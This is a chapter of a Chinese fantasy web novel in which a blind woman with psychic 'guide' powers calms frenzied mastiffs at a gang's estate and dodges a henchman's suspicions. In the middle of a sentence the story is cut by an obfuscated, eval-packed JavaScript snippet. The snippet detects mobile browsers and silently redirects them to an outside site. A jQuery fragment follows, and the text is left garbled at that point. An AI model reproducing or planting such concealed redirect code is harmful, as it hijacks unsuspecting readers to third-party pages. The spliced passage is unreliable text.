王虎脸上的豪爽慢慢沉淀下去,他没立刻说话,只是转过头,目光沉沉地落在军师杜庸脸上,“依你看,这事儿该怎么办?”
杜庸眼珠子一转,“若能摆平那件事,咱们黑龙集团便再无掣肘,就算是让我杜庸去死又有何妨。”
一旁手下跟着附和,“虎哥,军师说的对,何况为了个苏昙得罪执法者不划算。”
刀疤脸也跟着道:“苏昙不过一个黄毛丫头,就算是异能者又能有多强实力?”
“文烨还疯着,若是执法者肯派个向导来……”杜庸的话说进了几人的心里。
王虎也有些动摇,但鹞子始终一言不发。
屋内,苏昙伸向瓜子的手一顿,然后极其自然地转了个方向,接过了祝芳手里的咖啡杯。
温热的纸杯熨贴着掌心,她低头吹了吹浮沫,抿了一小口,才用余光瞥向门外,迎上王虎晦暗不明的眼神。
“警局发了新的命令,要将你直接送去第五监狱,妹子你到底得罪谁了?”王虎想了想,怜悯道:“要不你就先在我们这里躲一躲吧。”
“也好,那就麻烦虎哥了。”苏昙唇角勾起一抹弧度。
王虎盯着她看了几秒,忽然又咧开嘴,“妹子放心,等过了风头,我就放你回去。”
苏昙跟着鹞子离开黑龙集团,同行的还有祝芳。
从黑龙集团到西郊庄园又是一个小时。
西郊庄园面积很大,周围是空旷的树林,便是走上半个小时也出不了园区。
“这地方常有狼出没,所以你最好不要想着逃走。”鹞子警告道。
“有吃有喝的,我干嘛要跑?”
如今她成了逃犯,学位怕是没了,日后找工作可难了,不如就赖在这里算了。
虽是这么想,但从上车到下车,直至进入庄园,她的脑子一刻没闲着,一直在暗中计算着时间与方位。
这是失明后养成的习惯,无论去哪,都用耳朵捕捉车轮的转向、引擎的顿挫、窗外的风声与人语,在心里一笔一画地勾勒路径与地图。
别墅外铁链拖地的哗啦声与粗重的喘息声时不时响起。
十几头拴着铁链的藏獒,如同移动的阴影,在庭院内来回游荡。
它们的链子很长,足以让这些猛兽在各自的领地内保持足够的威慑。
低沉的从喉管深处滚出的低吼不仅震慑不怀好意的宵小,连院外的狼也不敢轻易踏足。
“跟紧我,”鹞子走在前面,步伐没有丝毫放慢的迹象,声音冷硬地抛过来,“别去看那些藏獒,也不要做多余的动作。对视,对它们而言就是挑衅。”
苏昙与祝芳不得不加快脚步,几乎是半跑着才能跟上他的速度。
“哗啦——”一声轻响。
祝芳口袋里没系紧的瓜子洒了出来,滚到了路旁的草地上,洒的到处都是。
她下意识“哎呀”一声,弯下腰想去捡。
这个突然俯身的动作,仿佛触动了某个无形的开关。
最近的藏獒猛地抬起头,赤红的眼珠在昏暗中骤然锁定目标。
喉咙里的喘鸣瞬间转为狂暴的低吼,庞大的身躯肌肉贲张,铁链被绷得笔直,发出不堪重负的呻吟。
“回来!”鹞子厉声喝止,同时吹了一声口哨。
一般情况下,口哨声一响,藏獒们就会回到原处。
可今日几头藏獒似乎格外暴躁,甚至无视了鹞子的口令。
尤其是那两头最大的藏獒,最为狂躁,似乎被某种力量驱使,激发了最原始的野性,后腿蹬地,裹挟着腥风直扑而来!
血盆大口张开,目标正是祝芳脆弱的脖颈。
祝芳吓得僵在原地,连尖叫都堵在喉咙里。
苏昙一直低垂的眼睫猛地一颤。
她虽然看不见扑来的猛兽,却能“感觉”到骤然逼近的危险。
混乱、暴虐、充斥着原始的撕咬欲望。
这几只藏獒显然是失控了,她不能坐以待毙。
思绪翻飞,她想起平行世界有的向导拥有安抚动物的能力。
这个念头一起,脑海中的代码开始极速运转。
一股无形的精神力从苏昙身上悄然荡开,精准地“撞”向那两团扑来的兽性意识。
她的本意只是想震慑,安抚。
然而,就在她的精神力触及藏獒意识的瞬间,她感受到了藏獒意识里不正常的狂暴,像是被某种病毒感染。
眼看二人就要被藏獒咬死,鹞子嘴里口哨声不停,身子如炮弹般弹射出去,试图拦住前面的藏獒。
可藏獒速度太快,压根不给他机会。
苏昙试着引领藏獒的意识,让它们安静下来,却意外控制住其中最凶猛的一头藏獒。
让她没想到的是,控制一头藏獒竟然耗费掉了她体内全部的源素。
整个人脱力的坐到地上。
前冲的势头骤然消减,沉重的躯体“噗通”、“噗通”先后落在祝芳身前不到半米的地方,砸起一大片尘土。
它们没有继续攻击,也没有退走,只是僵立着,粗重的呼吸带着困惑的哼哧声,脑袋微微歪向苏昙所在的方向,仿佛在辨认某种陌生又令它们本能顺从的气息。
这一切发生得极快,不过眨眼之间。
藏獒赤红的眼睛里,狂乱的血色如同潮水般褪去,显出一丝茫然的空白。
几滴涎水顺着藏獒的嘴里流出,甩在已经吓傻了的祝芳脸上。
领头的藏獒绕过祝芳停在苏昙面前。
硕大的体型将苏昙整个人遮挡的严严实实。
以至于鹞子没看到,那藏獒亲昵的伸着舌头,舔了苏昙一脸的口水。
感受着脸上黏腻的腥味,苏昙欲哭无泪。
哨声还在持续响着,藏獒们回到自己原本的位置,温顺的趴在地上,闭目休息。
虽然刚刚那一幕让鹞子本能的察觉到不对劲。
可他还是以为是他的哨声终于起了作用。
脸上的表情满是不耐烦,“跟上,别再给我找事儿。”
“我腿软,站不起来。”祝芳哭丧着脸,手指微微颤抖。
苏昙和祝芳相互搀扶着站起来。
在看到不远处的藏獒时,祝芳又忍不住抖了一下。
苏昙面上无波,内心深处却在不断复盘刚刚的过程。
现在她已经确定,自己就是向导,而且还是个特殊的向导。
“真是没用。”鹞子嘴里虽这么说,但还是走过去扶了祝芳一把,打破了凝滞的气氛。
“以前也没觉得藏獒这么凶猛啊!”祝芳喘着气,惊魂未定的拍着胸口。
“走吧。”鹞子收回目光,语气听不出情绪,但脚步明显放慢了许多,“跟紧点。”
最近不仅藏獒情绪不稳定,连外面的狼嚎也比以往多了几分焦躁。
苏昙扶稳祝芳,默默跟上。
进了别墅,祝芳先一步去收拾房间。
只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373071|200023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩下苏昙和鹞子大眼瞪小眼。
鹞子那双厉眸死死盯着她,像要从她脸上刮下一层皮来。
“今天解了我身上异能的是你吧?”
“什么异能?你可别乱说,我就是个普通的瞎子。”
“咱们打开天窗说亮话,我有个兄弟意识崩溃,需要向导安抚,只要你答应救人,我可以保你一命。”
“我就是个普通人,哪会安抚异能者。”苏昙盘算着文烨在王虎等人心里的地位。
不知道他们为了这个异能者究竟能做到哪一步。
就冲着文烨见过妈妈,她也要救他。
她想问问她,这些年可还记得自己有个女儿。
“刚刚小黑为什么会突然停下?”
小黑是领头的藏獒,那时候他明明觉得小黑脱离了他的掌控。
连他都以为苏昙二人必死无疑了,没想到小黑居然停了下来。
这可不是一般人能做到的。
“难道不是你的哨声及时叫住了那些藏獒?”
苏昙这么一说,鹞子也拿不准了。
他不知道到底是因为哨声,还是苏昙用了什么能力,才让藏獒安静下来。
但还是信了几分,手指上凝聚的力量骤然消散。
苏昙看到他手上凝聚的源素退去,基因代码恢复成了初始形态,暗暗松了口气。
这男人刚刚是想杀了她吧?
“之前在废弃工厂,我中了招是不是你解的?”
“我一个瞎子,看不到,又是在车上,怎么可能知道你是不是中招?当时你周围应该也有其他人吧?人心隔肚皮,你熟悉的人你就一定了解?”
鹞子神色变换,似有动摇,一个瞎子,就算真是向导也不可能那么精准的从一群人里认出他。
除非她非常了解他。
当时他周围的确有几个人,其中就有军师杜庸和刀疤,莫非是他们二人之中的一个?
刀疤鲁莽,可不像是向导,倒是杜庸心思缜密,心机深沉,说他是向导也是有可能的。
这时,楼上传来凄厉的惨叫声,还有东西落地的破碎声。
“谁叫的这么惨?”
“还能有谁……”祝芳努了努嘴,无声的说了两个字“文烨”。
原来他也在这个庄园里。
“看不出来,你们还挺讲义气,留个疯子留这么久,照顾起来也是麻烦事。”
祝芳嗤笑一声,“什么义气,不过是有利可图罢了。”
……
晚饭后,祝芳带着苏昙去了房间。
听着文烨的惨叫声,苏昙似是不经意地叹息,“好好一个人怎么就疯了呢?”
祝芳刷着手机,有一搭无一搭的回答,“还不是为了抓住李遂川,可惜最后人没抓回来,还把自己搭进去了。”
晚些时候,王虎等人也来了庄园。
刚坐下,就一拳砸在桌面上,发出沉闷的响声。
“妈的!”
他低吼一声,不知是在骂谁。
“虎哥,”一直守在门口的心腹阿坤见状,小心翼翼开口,“黑市那边……有回信了。联系上一个向导,要价很高,随时能来,但只肯晚上过来,不见光。”
王虎眼睛一眯:“你去安排一下,让那人现在过来。”
“虎哥,执法者不是答应派人过来吗?为何还要另外请人?”刀疤不解道。
“与虎谋皮……能有什么好下场。”王虎叹了口气。